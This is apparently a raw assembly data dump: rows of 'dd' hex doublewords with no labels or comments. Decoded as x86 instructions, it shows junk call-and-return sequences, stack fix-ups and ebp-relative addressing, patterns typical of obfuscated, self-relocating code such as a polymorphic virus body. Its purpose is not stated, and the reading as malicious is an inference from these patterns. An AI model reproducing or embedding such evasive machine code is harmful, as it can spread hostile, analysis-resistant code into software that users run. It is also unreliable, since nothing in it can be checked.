		dd 1C0424h, 51410000h, 0DC37D7C3h, 0EC218E7Eh, 8C6620DEh
		dd 358D89D9h, 0F6061B1Dh, 840F04C1h, 0ACh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4C35141h, 69A05F52h
		dd 0F57E0572h, 4595FF7Eh, 6A061B0Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5DA9C357h
		dd 83995E55h, 5B75D543h, 28D0F60h, 8A000000h, 0E9858BC3h
		dd 61061B21h, 956C32Bh,	1B1BCDB5h, 343D5F06h, 0F000008h
		dd 3786h, 68D0F00h, 0B000000h, 1B140DBDh, 4DE906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 2D2228C3h, 66CF10ADh, 0D1FCE781h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0B71D72C3h
		dd 830FD3h, 8B000000h, 6AD88BC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E619C353h
		dd 11859448h, 85C79623h, 61B0ED9h, 359ACF9Bh, 1B8D9501h
		dd 0C08B061Bh, 0BBC7BF66h, 99DBD81h, 7D0061Bh, 850F0000h
		dd 10h,	5EF28B57h, 99D85FFh, 9501061Bh,	61B1861h, 99DB5FFh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B58BF5C3h, 61B1721h, 220595FFh, 6A061Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0BFD70EC3h, 699BD8Bh, 0E956061Bh, 11h, 8314DC3h, 493664DEh
		dd 2038934h, 0C5EAD713h, 6A905EF0h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4EE1C351h
		dd 0F03BA54Bh, 89539352h, 1B2A1985h, 5E806h, 0FFAE0000h
		dd 0E879FBEEh, 14h, 4EC3A787h, 80261435h, 1F83157Bh, 76401CB3h
		dd 22838245h, 19D6815Eh, 5E04E215h, 56006A5Fh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 3FDBAFDAh
		dd 0C99D8D4Fh, 1D118589h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0BF274AC3h, 47190CC9h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F0A57E35h, 0F9EB1E9Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8AC35545h, 0AF95FCD0h, 8356FA2Ch
		dd 0E19D29D6h, 6A061B18h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CC8C355h, 2864884Eh
		dd 0C5BD8Bh, 49E9061Bh,	0FFFFFF7h, 8D0FF0B7h, 21h, 0BE8h
		dd 0D8D4C400h, 573E53Bh, 17339655h, 7495CEBEh, 0A6CBF7Bh
		dd 895E1A63h, 1B03A1BDh, 6AC18B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 29E6C353h
		dd 0FA1ABA90h, 0E91CE034h, 13h,	0D7B8ECDBh, 47783D39h
		dd 0E19FEA71h, 0F8092D86h, 0EB47CAA5h, 4, 880F00h, 0E8000000h
		dd 0Bh,	0B10A45AEh, 0D0077038h
		dd 0E9290673h, 6, 63666047h, 895E405Ah,	1B1F21B5h, 0ED858D06h
		dd 6A061B32h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0D307C353h, 0BD8BB3B0h, 61B1245h
		dd 19D18589h, 8950061Bh, 0BD092404h, 61B22B5h, 6AFC006Ah
		dd 130BE00h, 858D5582h,	61EFF8Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 93C35646h, 0ED73CD3Ah, 960B189Eh
		dd 0F9F68159h, 0F623FE5h, 584h,	28CEBF00h, 0C08315ADh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0DB1A25C2h, 6690FC78h, 50592BBFh, 9259BE66h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 880F5388h, 8, 2800Fh, 61600000h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8F0FD2C3h, 14h, 0FE9h, 0C86E5800h, 24F8523Fh, 3BF74600h
		dd 0B68F13BAh, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0D31788C3h, 195FFC0h, 6A061B1Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 3E85C356h, 5F67AB1Dh, 9D8D7E6Fh, 61E92B7h
		dd 1C99D89h, 0D3FF061Bh, 305DB58Bh, 85FF061Bh, 61B2B0Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 42C35242h
		dd 0BB975975h, 27C2F04Bh, 8AEE9h, 0E800h, 815D0000h, 1EFF99EDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 9634E09Ch, 81C918BCh, 4F9B07E7h,	9DBD817Eh
		dd 0D0061B09h, 0F000007h, 17086h, 0B5B52300h, 8B061B22h
		dd 1B17459Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0F63A52E1h, 100E381h, 95890000h
		dd 61B2F7Dh, 850FDB0Bh,	0C2h, 0FDC8BD83h, 0F00061Eh, 5184h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E0C0341Ah, 47351328h, 0BED68124h, 0E92808DCh
		dd 0B6h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D8C35343h, 0E218509h, 85C7061Bh, 61EFDC8h, 1
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7CC35545h
		dd 0EA802F50h, 0A473CE58h, 61E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 8786EB1Fh
		dd 53D9F7C4h, 820FF2CDh, 6, 29059D09h, 85C7061Bh, 61EFDC8h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9BC35242h
		dd 77303930h, 328DBD8Bh, 9D8D061Bh, 61B1745h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 21C35141h, 7019CF8Dh
		dd 0F585093Eh, 81061B1Ch, 0FFFEFF23h, 68A0FFFh,	0F000000h
		dd 8Dh,	0DB8C6600h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0B9C35040h, 933055A7h, 0D038BF66h, 0F04C3F6h
		dd 8B84h, 4595FF00h, 6A061B0Ch,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1B94C355h, 8F0C9754h
		dd 0E8227F29h, 0Fh, 193BACE5h, 0CB2B9FD4h, 0ECA5251h, 5E1DB747h
		dd 0FE9h, 5A35CC00h, 0EA0EB722h, 0E913FCA6h, 0F03C6F4Dh
		dd 33BE6690h, 0AE95040h, 91000000h, 290E141Dh, 0D93C2608h
		dd 6A901Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B58B5EC3h, 61B2961h, 406E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 6A00B0D1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 5B56C352h, 0C6B89507h,	118B0FAEh
		dd 0E9000000h, 0Ch, 0BFFA271Fh,	2383B9A2h, 1B78B48h, 8B6670E6h
		dd 8B71E4F7h, 1B0769BDh, 0D8B60F06h, 0D1B52357h, 5F061B19h
		dd 6BAh, 0C38BFC00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 2CC35747h, 3CAD011Dh,	0EE8h, 12C2C00h
		dd 46B41F2Eh, 67B0C733h, 5F9AEA8Ah, 6A04E8C1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0C733C356h, 0E2F766B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 2DC35646h, 0F88B6656h, 11BD0B5Eh, 2B061B2Ah
		dd 0BE6693D8h, 0F50B88Bh, 0B83h, 5880F00h, 0BE000000h
		dd 4EDB2637h, 50006A93h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 810F7B78h, 0Eh, 0D58D2960h, 89061B18h
		dd 1B0E8195h, 8B606106h, 1B323DB5h, 0E9853306h,	61061B0Bh
		dd 99DB5FFh, 850F061Bh,	6, 8E0Fh, 95FF0000h, 61B2205h
		dd 1C759529h, 0B0061Bh,	12D9BD8Bh, 70E6061Bh, 17E58589h
		dd 71E4061Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0F8C35242h, 0E8D4A839h,	13h, 39EAE3A8h,	3837A3CAh
		dd 34860686h, 0A12492Ch, 89BD0998h, 1B07B19Dh, 613C5F06h
		dd 241830Fh, 5E90000h, 0AB000000h, 0DDF3E7F8h, 0D8B60FF5h
		dd 0BAFB8B66h, 6, 0CE8h, 0AF205700h, 0A938F041h, 3298DD53h
		dd 6D9D31B7h, 5F061B0Dh, 8B66C38Bh, 4E8C1F3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1AC35343h, 0B58B2F9Eh
		dd 61B3055h, 2BE2F766h,	53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 31E70942h, 1B183995h
		dd 6A5806h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 26714BC3h, 741FEE1Bh, 0FD82BF5h, 19288h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 22B9A3F4h, 0DE82EED4h, 7B9F8h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0A8B9F9C3h, 0AD554254h, 0DBD8908h, 83061B14h, 6A00C1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 75A799C3h, 860FD93Bh, 117h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 7CC35242h, 0C7BE2E7Eh, 8C66E1D5h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 7F38F67Fh, 2AB5BD01h, 0C1F6061Bh, 0A0840F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0F7D2C356h, 167ABF27h,	95FF3A31h
		dd 61B0C45h, 18E1BD8Bh,	6A5B061Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BE0C356h
		dd 1B2ABDB5h, 57C32B06h, 5116BE66h, 8343D5Eh, 860F0000h
		dd 3Bh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 4C35141h, 74B6D8E9h,	0AE8h, 0DBF69000h, 45B5D754h, 667E334Fh
		dd 0E95FF18Bh, 27h, 8BFA8B66h, 53006AC0h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 977ABC58h
		dd 8B7821A2h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 77A7C353h, 0B58B6715h
		dd 61B031Dh, 0BE185C7h,	517B061Bh, 870F5CB3h, 3, 8BFFB70Fh
		dd 9DBD81C0h, 0D0061B09h, 0F000007h, 5085h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 6A907979h, 0FD76379h, 1A80h,	10E800h, 0C62C0000h, 301A782Ah
		dd 8DAD982Eh, 7BDAD783h, 0BF662387h, 8B5F2228h,	9D85FFFEh
		dd 8B061B09h, 1B1841BDh, 9DB5FF06h, 6A061B09h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2BA3C357h, 0E93B352Fh, 13h, 4EDB119h, 0B5EA6750h, 8146A25Ah
		dd 0E24048D2h, 0FF84194Bh, 1B220595h, 0DB58B06h, 90061B0Ah
		dd 2F7DB533h, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 9C97E4C3h, 0DE937h, 946D0000h, 2A1229A8h
		dd 71DD428Ch, 6ACE9C80h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4962C350h, 0B58B0AB8h
		dd 61B0819h, 0A522F781h, 0BD3155E8h, 61B083Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B4C35242h, 6B80B6BCh
		dd 84DEA8B3h, 699D0945h, 89061B31h, 1B2F3185h, 8B666006h
		dd 2C781D7h, 6665AB0Ch,	0F9CDC281h, 21BD8B61h, 6A061B31h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 5D8BC357h, 29F4230Fh, 1B1B75BDh, 0BB666006h
		dd 61FC50D0h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	57C35545h, 808A0506h, 904CBFFFh, 5E532858h, 0FFF794E9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 7EBE1446h, 0E80C1B6Bh, 12h, 7CDBDEA9h, 6BB37C07h
		dd 91034604h, 797490C3h, 830F3305h, 2, 8B5E6160h, 8D4CBEC1h
		dd 4EB3114h, 0
		dd 8E8h, 96037D00h, 1B621941h, 5B58BAAh, 5E061B0Ah, 5E8h
		dd 0EAAD8F00h, 0BE83243h, 0F8000000h, 9AAF878h,	0FB22369Fh
		dd 5F5E323Dh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0F9C35040h, 0E97F1A41h,	7, 0AB3F1794h, 8D16C279h
		dd 1B32ED85h, 0D7816606h, 50907813h, 0DE9h, 66BF1E00h
		dd 0BED0E10h, 8F5ED315h, 0BE90544Bh, 6AB6FEE7h,	9D01006Ah
		dd 61B0795h, 0BE9h, 0CC7C7200h,	0C59408B7h, 0A726D5FAh
		dd 0BF0F006Ah, 958956FBh, 61B122Dh, 0FD858D5Eh,	6A061F09h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 66BCC351h, 0D7BED681h, 5705C083h,	3201BD89h
		dd 905F061Bh, 52505260h, 585A310Fh, 61C28B5Fh, 0F525050h
		dd 81h,	5A310F00h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0F513E8C3h, 0D78F1AF1h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 6A2763C3h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 3D8671ABh, 0BF662C6Fh
		dd 95FFC0F0h, 61B1A01h,	333D9589h, 9D8D061Bh, 61E92B7h
		dd 6830Fh, 0BD8B0000h, 61B1E69h, 6AD3FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD8918C3h
		dd 61B1939h, 0B859529h,	85FF061Bh, 61B2B0Dh, 7B1BD8Bh
		dd 5FE9061Bh, 0E8000008h, 0
		dd 7ED815Dh, 6A061F0Ah,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0A4CDC353h,	135DC7F6h
		dd 1181B58Bh, 0BD81061Bh, 61B099Dh, 7D0h, 16D860Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 66910AC3h, 9D8BF28Bh, 61B2D1Dh, 68C0Fh, 85890000h, 61B0E85h
		dd 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 88D31FC3h, 51B2BE73h, 0D5D9509h
		dd 0F5E061Bh, 688h, 95B52B00h, 0B061B07h, 91850FDBh, 8B000000h
		dd 1B1E89B5h, 0D9B58B06h, 83061B02h, 1F084BBDh,	840F0006h
		dd 45h,	38F0Fh,	0B70F0000h, 78E9F3h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9DBE44C3h
		dd 71AF50FCh, 0CE95EC2h, 0B9000000h, 47F917FEh,	74B843F8h
		dd 8B0698C1h, 4B85C7FEh, 1061F08h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2747C350h, 95A3F052h, 0E9F88B2Ch, 0Eh, 84B85C7h, 61Fh
		dd 0BE660000h, 9D8DFCB7h, 61B2D1Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 7EC35646h, 0E5D8CE2Fh, 0C31278F2h
		dd 0F1B70F8Bh, 0FEFF2381h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BA3464C3h
		dd 5AE966B6h, 66F78B66h, 6ADB8Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0C1647FC3h, 0B58B53E8h
		dd 61B2E9Dh, 71B58B5Fh,	0F6061B24h, 840F04C3h, 67h, 91ABBF66h
		dd 0A001C681h, 95FF4FB4h, 61B0C45h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 94C35141h, 559A1E7Dh, 177DB52Bh
		dd 8950061Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7AC333C3h, 57601B74h, 5BC3B70Fh
		dd 21C19589h, 0E961061Bh, 431h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 61C35545h, 0ECA3792Ah, 29EA68C0h
		dd 1B0C799Dh, 6A00B006h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0F846C353h,	9589F878h
		dd 61B25FDh, 0BD2970E6h, 61B133Dh, 6A71E4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DBCBC5C3h
		dd 49B6272Bh, 0D8B60FB4h, 2F1BD23h, 6BA061Bh, 29000000h
		dd 1B0D299Dh, 6AC38B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0E0D8C353h,	0E6E88350h
		dd 0F987A1A9h, 0D79B41BFh, 4E8C159h, 0E2F766F8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2FC35343h, 6B8341E0h
		dd 0FE77C681h, 9E97D0Fh, 58000000h, 9ED65E88h, 0B2974AF3h
		dd 0B58BD82Bh, 61B2385h, 0DEDB58Bh, 5750061Bh, 241C895Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 59C35141h
		dd 431125E3h, 51BF6623h, 9DB5FF9Fh, 9061B09h, 1B2FB99Dh
		dd 595FF06h, 6A061B22h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 69A8C350h, 5DB5318Ah
		dd 0B0061B0Dh, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 4001061Bh, 0ECB71025h
		dd 0BE95114h, 5D000000h, 7B539F8Ch, 6C41937Eh, 0E65F412Ch
		dd 0FBF6670h, 6A71E417h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 744CC350h, 0C42A9AC5h
		dd 0A2B65E68h, 613CF08Bh, 25B830Fh, 0E8600000h,	0Ch, 16142A8h
		dd 75C32409h, 412D0E50h, 32299589h, 8958061Bh, 1B247D85h
		dd 0B60F6106h, 53006AD8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 10D8237h, 0B504F03Dh
		dd 6BAh, 2D9D2900h, 8B061B1Fh, 0E8C1F8C3h, 56006A04h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 91A0B7F4h, 0CD24E362h, 0F7667E2Dh, 0F08B66E2h, 8166D82Bh
		dd 580E27EEh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	8CC35141h, 4E57A56Fh, 524FFEA1h, 0BD896068h, 61B2F81h
		dd 60431BEh, 5E86119h, 94000000h, 1A237BDh, 1ED19501h
		dd 2B5F061Bh, 86880FD8h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EE43C350h
		dd 42D66AB7h, 7B94Fh, 0C6810000h, 3C27D82Ah, 2900C183h
		dd 1B0C65BDh, 0FD93B06h, 14886h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 2067AE5h, 11E938h
		dd 0E11D0000h, 0ADFB3214h, 0A0DC215Eh, 2E6C1BCCh, 66CA87DCh
		dd 0FA8BD98Ch, 0F04C1F6h, 0EF84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0EE8A608Ch
		dd 13E8h, 88A4EF00h, 87C210EAh,	0CDF93DC0h, 0DCCDEDB0h
		dd 817EF96Ch, 0DE9h, 0E5BC5900h, 0AFF76AAEh, 683ED6BEh
		dd 615B5648h, 0C4595FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 6F149C3h, 66E8038Fh
		dd 8B65837Bh, 1B0BC1B5h, 0F820F06h, 0E9000000h,	0Ah, 424536B8h
		dd 0F70DF09Ch, 6A5BC028h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 4BCEC350h, 0C8600925h
		dd 292A2811h, 1B0DD18Dh, 3DC32B06h, 834h, 26860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0B70FD4C3h, 17E9FBh,	0F38B0000h, 8A0FC08Bh, 0Dh, 2D8D8960h
		dd 0BB061B07h, 48B0C032h, 8BC38B61h, 31B58BD8h,	0C7061B0Ah
		dd 1B174585h, 397B1D06h, 6AC08B34h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BB2C353h
		dd 1B220DB5h, 9DBD8106h, 0D0061B09h, 0F000007h,	4B85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD318EF2h, 61B1BCDh, 99D85FFh, 6A061Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B50B59C3h, 61B3171h, 99DB5FFh, 6A061Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 8010D8C3h
		dd 0FFD21EC5h, 1B220595h, 6A90F506h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 4535C350h
		dd 0E796E1CFh, 0AE8h, 0D7852A00h, 9C28637Ch, 8B151CD6h
		dd 1B089DBDh, 5E5E5306h, 8BF8B70Fh, 0E9FE8BF2h,	0Ah, 0A9934614h
		dd 0D30AEFD4h, 0B70F5D45h, 0BE9F8h, 97CD0000h, 79EAA3CFh
		dd 9F4505E3h, 55006A52h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E9C45F56h, 0Ah, 0C7111E3h, 93F10CA1h
		dd 5E838C2h, 8A000000h,	0B563B7ADh, 0AE85Eh, 0F8AD0000h
		dd 0ED632F89h, 24983F4Eh, 0E4EE8166h, 0F98B5FA3h, 0E850006Ah
		dd 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 9AC35040h, 4F576C92h, 0F7B62DB5h
		dd 0F595892Bh, 66061B2Bh, 5F52F08Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0F2C35343h,	5F32F99h, 2C61A7D5h
		dd 170EE81h, 61BE17F2h,	0E96A7FECh, 0FFFFF7A3h,	0C18BF78Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5CC35747h
		dd 0E7562602h, 0D24C13B1h, 0DB816065h, 1E426287h, 0B58B61F9h
		dd 61B0939h, 4EBh, 0F560000h, 35EFBBFh,	1B2109B5h, 0ED858D06h
		dd 8B061B32h, 1B31B9BDh, 0EBE9006h, 50001F85h, 10E8h, 2C845700h
		dd 8F978D79h, 3DA0730Ah, 0B51C7619h, 6A905FFCh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 55BEC357h, 0F392031h, 489h, 5E575100h, 6A006A5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 35BDC351h, 2AADCFC1h, 6AEB309Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0A31ADD75h
		dd 65858D07h, 6A061F14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 9052C352h, 4B14C88Dh
		dd 15A2C39Bh, 9005C083h, 39A624BFh, 6A90506Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0EE9FC357h, 0BBCF3F5Bh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4F832C3h
		dd 72300E7Dh, 0C7816626h, 6A621Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 6C35545h, 12890Fh, 0DE90000h
		dd 0B7000000h, 49948C84h, 0F505D3CAh, 878DE953h, 70CE8166h
		dd 195FF40h, 60061B1Ah,	326D9589h, 0DE8B061Bh, 0B79D8D61h
		dd 6A061E92h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0DB78C357h, 8B66F786h,	6AD3FFF8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6652C350h, 0FFF9B0BEh, 1B2B0D85h,	0B70F5106h
		dd 0F9E95FFBh, 0E8000007h, 0
		dd 6FED815Dh, 81061F14h, 1B099DBDh, 7D006h, 67860F00h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6257C350h, 9D8BFB8Bh, 61B2B3Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 21C35646h
		dd 66BC0409h, 913BE487h, 0EE8CBh, 0DA8E0000h, 6167CBCh
		dd 287E6E96h, 4961BA91h, 5D2CBE66h, 0E3815Eh, 8B000001h
		dd 1B315DBDh, 0FDB0B06h, 9385h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BE772FDDh
		dd 15BAA039h, 1299BD83h, 0F00061Fh, 2D84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0FFDB109h, 4DE9F7BFh, 66000000h, 0F7FF7BFh, 85C7FBB7h
		dd 61F1299h, 1,	22C9B58Bh, 31E9061Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0E6C6C352h, 0F08B662Fh, 129985C7h, 61Fh, 0B58B0000h
		dd 61B0845h, 2B3D9D8Dh,	6A061Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8190E1C3h, 0FFFEFF23h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0E3E22819h, 0ADD73CA4h, 8C660D02h, 53006ADBh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9A77F694h, 0F04C3F6h, 6784h,	81666000h, 8BC6EAEEh, 1B0785BDh
		dd 95FF6106h, 61B0C45h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 98C35545h, 5FECD01Ah,	4BB3DC9Ah, 0A19D0108h
		dd 51061B16h, 452C6CBFh, 52505F00h, 11E9h, 16CA4A00h, 56E6CFB4h
		dd 0AD22A8A7h, 0CE30A9Fh, 895F929Bh, 8D892404h,	61B18FDh
		dd 37BE9h, 0E600B000h, 71E4FC70h, 12E9h, 0BF724B00h, 0C21AE6Ah
		dd 0F53FA171h, 0BF08E885h, 0FE789A0h, 8D0FD8B6h, 14h, 0FE9h
		dd 72215C00h, 6E588A4Dh, 0F8523FC8h, 0F7460024h, 6BAh
